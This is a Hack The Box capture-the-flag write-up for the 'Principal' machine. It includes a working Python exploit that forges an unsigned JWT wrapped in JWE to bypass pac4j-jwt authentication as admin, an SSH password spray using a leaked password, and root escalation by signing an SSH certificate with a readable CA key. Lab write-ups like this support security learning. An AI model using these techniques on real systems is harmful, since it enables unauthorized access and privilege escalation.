# Principal

<figure><img src="https://1261483422-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTAjoMGhyi4qD4wiYqHYf%2Fuploads%2FpxgGuEUNv9isfN1jJsag%2FPrincipal.png?alt=media&#x26;token=a1563fbc-58d0-415c-a59d-0c904f9695ba" alt=""><figcaption></figcaption></figure>

<p align="center"><a href="https://app.hackthebox.com/machines/Principal">https://app.hackthebox.com/machines/Principal</a></p>

***

## Enumeration

```bash
sudo nmap -p- -sS --min-rate 5000 -Pn -n -vv -oA nmap/Principal 10.129.17.56

PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 63
8080/tcp open  http-proxy syn-ack ttl 63
```

```bash
nmap -p 22,8080 -sCV -oA nmap/openPorts 10.129.17.56

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b0:a0:ca:46:bc:c2:cd:7e:10:05:05:2a:b8:c9:48:91 (ECDSA)
|_  256 e8:a4:9d:bf:c1:b6:2a:37:93:40:d0:78:00:f5:5f:d9 (ED25519)
8080/tcp open  http-proxy Jetty
| http-title: Principal Internal Platform - Login
|_Requested resource was /login
|_http-server-header: Jetty
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     Date: Fri, 03 Apr 2026 22:03:39 GMT
|     Server: Jetty
|     X-Powered-By: pac4j-jwt/6.0.3
|     Cache-Control: must-revalidate,no-cache,no-store
|     Content-Type: application/json
|     {"timestamp":"2026-04-03T22:03:39.136+00:00","status":404,"error":"Not Found","path":"/nice%20ports%2C/Tri%6Eity.txt%2ebak"}
|   GetRequest: 
|     HTTP/1.1 302 Found
|     Date: Fri, 03 Apr 2026 22:03:37 GMT
|     Server: Jetty
|     X-Powered-By: pac4j-jwt/6.0.3
|     Content-Language: en
|     Location: /login
|     Content-Length: 0
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Fri, 03 Apr 2026 22:03:38 GMT
|     Server: Jetty
|     X-Powered-By: pac4j-jwt/6.0.3
|     Allow: GET,HEAD,OPTIONS
|     Accept-Patch: 
|     Content-Length: 0
|   RTSPRequest: 
|     HTTP/1.1 505 HTTP Version Not Supported
|     Date: Fri, 03 Apr 2026 22:03:38 GMT
|     Cache-Control: must-revalidate,no-cache,no-store
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 349
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>
|     <title>Error 505 Unknown Version</title>
|     </head>
|     <body>
|     <h2>HTTP ERROR 505 Unknown Version</h2>
|     <table>
|     <tr><th>URI:</th><td>/badMessage</td></tr>
|     <tr><th>STATUS:</th><td>505</td></tr>
|     <tr><th>MESSAGE:</th><td>Unknown Version</td></tr>
|     </table>
|     </body>
|     </html>
|   Socks5: 
|     HTTP/1.1 400 Bad Request
|     Date: Fri, 03 Apr 2026 22:03:39 GMT
|     Cache-Control: must-revalidate,no-cache,no-store
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 382
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>
|     <title>Error 400 Illegal character CNTL=0x5</title>
|     </head>
|     <body>
|     <h2>HTTP ERROR 400 Illegal character CNTL=0x5</h2>
|     <table>
|     <tr><th>URI:</th><td>/badMessage</td></tr>
|     <tr><th>STATUS:</th><td>400</td></tr>
|     <tr><th>MESSAGE:</th><td>Illegal character CNTL=0x5</td></tr>
|     </table>
|     </body>
|_    </html>
|_http-open-proxy: Proxy might be redirecting requests
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.99%I=7%D=4/3%Time=69D0393A%P=x86_64-pc-linux-gnu%r(Get
SF:Request,A4,"HTTP/1\.1\x20302\x20Found\r\nDate:\x20Fri,\x2003\x20Apr\x20
SF:2026\x2022:03:37\x20GMT\r\nServer:\x20Jetty\r\nX-Powered-By:\x20pac4j-j
SF:wt/6\.0\.3\r\nContent-Language:\x20en\r\nLocation:\x20/login\r\nContent
SF:-Length:\x200\r\n\r\n")%r(HTTPOptions,A2,"HTTP/1\.1\x20200\x20OK\r\nDat
SF:e:\x20Fri,\x2003\x20Apr\x202026\x2022:03:38\x20GMT\r\nServer:\x20Jetty\
SF:r\nX-Powered-By:\x20pac4j-jwt/6\.0\.3\r\nAllow:\x20GET,HEAD,OPTIONS\r\n
SF:Accept-Patch:\x20\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,220,"
SF:HTTP/1\.1\x20505\x20HTTP\x20Version\x20Not\x20Supported\r\nDate:\x20Fri
SF:,\x2003\x20Apr\x202026\x2022:03:38\x20GMT\r\nCache-Control:\x20must-rev
SF:alidate,no-cache,no-store\r\nContent-Type:\x20text/html;charset=iso-885
SF:9-1\r\nContent-Length:\x20349\r\n\r\n<html>\n<head>\n<meta\x20http-equi
SF:v=\"Content-Type\"\x20content=\"text/html;charset=ISO-8859-1\"/>\n<titl
SF:e>Error\x20505\x20Unknown\x20Version</title>\n</head>\n<body>\n<h2>HTTP
SF:\x20ERROR\x20505\x20Unknown\x20Version</h2>\n<table>\n<tr><th>URI:</th>
SF:<td>/badMessage</td></tr>\n<tr><th>STATUS:</th><td>505</td></tr>\n<tr><
SF:th>MESSAGE:</th><td>Unknown\x20Version</td></tr>\n</table>\n\n</body>\n
SF:</html>\n")%r(FourOhFourRequest,13B,"HTTP/1\.1\x20404\x20Not\x20Found\r
SF:\nDate:\x20Fri,\x2003\x20Apr\x202026\x2022:03:39\x20GMT\r\nServer:\x20J
SF:etty\r\nX-Powered-By:\x20pac4j-jwt/6\.0\.3\r\nCache-Control:\x20must-re
SF:validate,no-cache,no-store\r\nContent-Type:\x20application/json\r\n\r\n
SF:{\"timestamp\":\"2026-04-03T22:03:39\.136\+00:00\",\"status\":404,\"err
SF:or\":\"Not\x20Found\",\"path\":\"/nice%20ports%2C/Tri%6Eity\.txt%2ebak\
SF:"}")%r(Socks5,232,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nDate:\x20Fri,\
SF:x2003\x20Apr\x202026\x2022:03:39\x20GMT\r\nCache-Control:\x20must-reval
SF:idate,no-cache,no-store\r\nContent-Type:\x20text/html;charset=iso-8859-
SF:1\r\nContent-Length:\x20382\r\n\r\n<html>\n<head>\n<meta\x20http-equiv=
SF:\"Content-Type\"\x20content=\"text/html;charset=ISO-8859-1\"/>\n<title>
SF:Error\x20400\x20Illegal\x20character\x20CNTL=0x5</title>\n</head>\n<bod
SF:y>\n<h2>HTTP\x20ERROR\x20400\x20Illegal\x20character\x20CNTL=0x5</h2>\n
SF:<table>\n<tr><th>URI:</th><td>/badMessage</td></tr>\n<tr><th>STATUS:</t
SF:h><td>400</td></tr>\n<tr><th>MESSAGE:</th><td>Illegal\x20character\x20C
SF:NTL=0x5</td></tr>\n</table>\n\n</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

pac4j is a powerful, lightweight Java security engine designed to authenticate users, manage authorization, and retrieve user profiles across web applications and services. It supports numerous protocols—including OAuth, SAML, OpenID Connect, JWT, and LDAP—and integrates with many Java frameworks like Spring Security, Play, Vert.x, and JEE. \[[1](https://www.pac4j.org/), [2](https://www.penligent.ai/hackinglabs/pac4j-security-jwt-bypass-saml-complexity-and-the-trust-failures-that-matter/), [3](https://github.com/pac4j/pac4j)]

<http://10.129.17.56:8080/login>

<view-source:http://10.129.17.56:8080/login>

<view-source:http://10.129.17.56:8080/static/js/app.js>

<http://10.129.17.56:8080/api/auth/jwks>

```bash
curl -s http://10.129.17.56:8080/api/auth/jwks | jq

{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "kid": "enc-key-1",
      "n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"
    }
  ]
}
```

## Exploitation

Google `pac4j 6.0.0 vuln`

```python
#!/usr/bin/env python3

import json
import time
import base64
import requests
from jwcrypto import jwk, jwe
import sys

TARGET = sys.argv[1]

# Step 1: Fetch the RSA public key from JWKS
print("[*] Fetching JWKS...")

resp = requests.get(f"{TARGET}/api/auth/jwks")
jwks_data = resp.json()
key_data = jwks_data['keys'][0]
pub_key = jwk.JWK(**key_data)

print(f"[+] Got RSA public key (kid: {key_data['kid']})")

# Step 2: Craft a PlainJWT with admin claims
def b64url_encode(data):
  return base64.urlsafe_b64encode(data).rstrip(b'=').decode()


now = int(time.time())
header = b64url_encode(json.dumps({"alg": "none"}).encode())
payload = b64url_encode(json.dumps({
    "sub": "admin",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": now,
    "exp": now + 3600
}).encode())

plain_jwt = f"{header}.{payload}."

print(f"[*] Crafted PlainJWT with sub=admin, role=ROLE_ADMIN")

# Step 3: Wrap in JWE encrypted with server's RSA public key

jwe_token = jwe.JWE(plain_jwt.encode(), recipient=pub_key, protected=json.dumps({
    "alg": "RSA-OAEP-256",
    "enc": "A128GCM",
    "kid": key_data['kid'],
    "cty": "JWT"
  }))
  
forged_token = jwe_token.serialize(compact=True)
print(f"[+] Forged JWE token created")

# Step 4: Access protected endpoints
headers = {"Authorization": f"Bearer {forged_token}"}

print("\n[*] Accessing /api/dashboard...")

resp = requests.get(f"{TARGET}/api/dashboard", headers=headers)
print(f"[+] Status: {resp.status_code}")

data = resp.json()

print(f"[+] Authenticated as: {data['user']['username']} ({data['user']['role']})")
print(f"[+] Token: {forged_token}")
```

```bash
python3 exploit.py http://10.129.17.56:8080

[*] Fetching JWKS...
[+] Got RSA public key (kid: enc-key-1)
[*] Crafted PlainJWT with sub=admin, role=ROLE_ADMIN
[+] Forged JWE token created

[*] Accessing /api/dashboard...
[+] Status: 200
[+] Authenticated as: admin (ROLE_ADMIN)
[+] Token: eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImtpZCI6ICJlbmMta2V5LTEiLCAiY3R5IjogIkpXVCJ9.OzN5wYe3MxRPa36Yk-vF3Pc0mv6qDgu5kP5EIaTjmyQT7S2BA5VMnMEsKzRzSGFshOHK46A11Qi68mmGH70dS8FyDOWXSUxDgA8ypLy7SHnNKp0KObQ0r1Eh5I3qrTzskJpYNLr1o8SSLkpLXiERMfj6AqhhDSeh0MltdUlIirCo433xCX0hR1yFBejh6kiADHP4rC5HwegEhTLsuliwtngnkH-xy81Kvxd1zbONDqUdrqIY7LHQDA9RFGA2Evq1-KwNxiiD69ENS7oj5EpmLj8nXT5L_89q8P-jW_NAdIf3EvvwKh4yzP7pQDxD35M1OS8GKZgqQ_RkgpXBAZ5oAA.ULfGljnxJS_wyEJ5.tpRUj9XeQgq4Kbua6hfFK92mKAQtsLG_Yuqkcbw_jx9V-OI5SsPItV33ixGvINOVUDYo4tSkTp6FwyPYaBPg04IqCJLGkKybjyUor4Z3w_ne6F2kulP9VAsMnH-NTzkzGxwSNSoucwXH7NmarBBiv8CrIdFbHwdDfyAiZUwTlWHJ7ZNZDgrCvLV-V5v9ZAK2GoK-REOZq9qny4Wc_3fx1KEt.zI1ovwaCgkyzP8PMM3TbDg
```

<figure><img src="https://1261483422-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTAjoMGhyi4qD4wiYqHYf%2Fuploads%2FYICZpvnRC8iDpwJFcRVO%2FScreenshot%202026-04-03%20193857.png?alt=media&#x26;token=133f965b-b6ad-4e8c-927c-f1d5125eda7e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1261483422-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTAjoMGhyi4qD4wiYqHYf%2Fuploads%2FBz4s522b2Bvjneeu38xd%2FScreenshot%202026-04-03%20194051.png?alt=media&#x26;token=6b232a85-671d-4351-9471-6f5fb577be16" alt=""><figcaption></figcaption></figure>

```bash
curl -s http://10.129.17.56:8080/api/users -H "Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImtpZCI6ICJlbmMta2V5LTEiLCAiY3R5IjogIkpXVCJ9.OzN5wYe3MxRPa36Yk-vF3Pc0mv6qDgu5kP5EIaTjmyQT7S2BA5VMnMEsKzRzSGFshOHK46A11Qi68mmGH70dS8FyDOWXSUxDgA8ypLy7SHnNKp0KObQ0r1Eh5I3qrTzskJpYNLr1o8SSLkpLXiERMfj6AqhhDSeh0MltdUlIirCo433xCX0hR1yFBejh6kiADHP4rC5HwegEhTLsuliwtngnkH-xy81Kvxd1zbONDqUdrqIY7LHQDA9RFGA2Evq1-KwNxiiD69ENS7oj5EpmLj8nXT5L_89q8P-jW_NAdIf3EvvwKh4yzP7pQDxD35M1OS8GKZgqQ_RkgpXBAZ5oAA.ULfGljnxJS_wyEJ5.tpRUj9XeQgq4Kbua6hfFK92mKAQtsLG_Yuqkcbw_jx9V-OI5SsPItV33ixGvINOVUDYo4tSkTp6FwyPYaBPg04IqCJLGkKybjyUor4Z3w_ne6F2kulP9VAsMnH-NTzkzGxwSNSoucwXH7NmarBBiv8CrIdFbHwdDfyAiZUwTlWHJ7ZNZDgrCvLV-V5v9ZAK2GoK-REOZq9qny4Wc_3fx1KEt.zI1ovwaCgkyzP8PMM3TbDg" | jq -r '.users[].username' > users.txt
```

<figure><img src="https://1261483422-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTAjoMGhyi4qD4wiYqHYf%2Fuploads%2FDcFq0ZWeQObeNCCcRy2S%2FScreenshot%202026-04-03%20194800.png?alt=media&#x26;token=4a0211d5-7d1a-4daa-814d-a194cb246b90" alt=""><figcaption></figcaption></figure>

```bash
nxc ssh 10.129.17.56 -u users.txt -p 'D3pl0y_$$H_Now42!'

SSH         10.129.17.56    22     10.129.17.56     [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.14
SSH         10.129.17.56    22     10.129.17.56     [-] admin:D3pl0y_$$H_Now42!
SSH         10.129.17.56    22     10.129.17.56     [+] svc-deploy:D3pl0y_$$H_Now42!  Linux - Shell access!
```

```bash
ssh svc-deploy@10.129.17.56
The authenticity of host '10.129.17.56 (10.129.17.56)' can't be established.
ED25519 key fingerprint is: SHA256:ibvdsZXiwJ6QUMPTxoH3spRA8hV9mbd98MLpLt3XG/E
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.17.56' (ED25519) to the list of known hosts.
svc-deploy@10.129.17.56's password: 
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

svc-deploy@principal:~$
```

```bash
svc-deploy@principal:~$ ls
user.txt
svc-deploy@principal:~$ cat user.txt
```

## User flag

{% hint style="success" %}
ec3\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*2b3
{% endhint %}

## Privilege Escalation

```bash
svc-deploy@principal:~$ id
uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)
```

```bash
svc-deploy@principal:~$ find / -group deployers -readable 2>/dev/null
/etc/ssh/sshd_config.d/60-principal.conf
/opt/principal/ssh
/opt/principal/ssh/README.txt
/opt/principal/ssh/ca
```

```bash
svc-deploy@principal:~$ cat /opt/principal/ssh/README.txt
CA keypair for SSH certificate automation.

This CA is trusted by sshd for certificate-based authentication.
Use deploy.sh to issue short-lived certificates for service accounts.

Key details:
  Algorithm: RSA 4096-bit
  Created: 2025-11-15
  Purpose: Automated deployment authentication
```

```bash
svc-deploy@principal:~$ ssh-keygen -t ed25519 -f /tmp/pwn -N ""
Generating public/private ed25519 key pair.
Your identification has been saved in /tmp/pwn
Your public key has been saved in /tmp/pwn.pub
The key fingerprint is:
SHA256:tx278+u8deGyGu7lVrhyHiBaqr08gyBtw+5FydpC5J0 svc-deploy@principal
The key's randomart image is:
+--[ED25519 256]--+
|                 |
|                 |
|   .             |
|  o o o          |
|  oo E  So... .. |
| ..*+   +..o.+...|
|  +ooo.o  ..o+o.o|
|   .o.+o  ..=*+..|
|  .. . ++ .+BB*o |
+----[SHA256]-----+
```

```bash
svc-deploy@principal:~$ ssh-keygen -s /opt/principal/ssh/ca -I "pwn-root" -n root -V +1h /tmp/pwn.pub
Signed user key /tmp/pwn-cert.pub: id "pwn-root" serial 0 for root valid from 2026-04-03T23:19:00 to 2026-04-04T00:20:47
```

```bash
svc-deploy@principal:~$ ssh-keygen -L -f /tmp/pwn-cert.pub
/tmp/pwn-cert.pub:
        Type: ssh-ed25519-cert-v01@openssh.com user certificate
        Public key: ED25519-CERT SHA256:tx278+u8deGyGu7lVrhyHiBaqr08gyBtw+5FydpC5J0
        Signing CA: RSA SHA256:bExSfFTUaopPXEM+lTW6QM0uXnsy7CICk0+p0UKK3ps (using rsa-sha2-512)
        Key ID: "pwn-root"
        Serial: 0
        Valid: from 2026-04-03T23:19:00 to 2026-04-04T00:20:47
        Principals: 
                root
        Critical Options: (none)
        Extensions: 
                permit-X11-forwarding
                permit-agent-forwarding
                permit-port-forwarding
                permit-pty
                permit-user-rc
```

```bash
svc-deploy@principal:~$ ssh -i /tmp/pwn root@localhost
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

root@principal:~# ls
root.txt
root@principal:~# cat root.txt
```

## Root flag

{% hint style="success" %}
9e6\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*35a
{% endhint %}
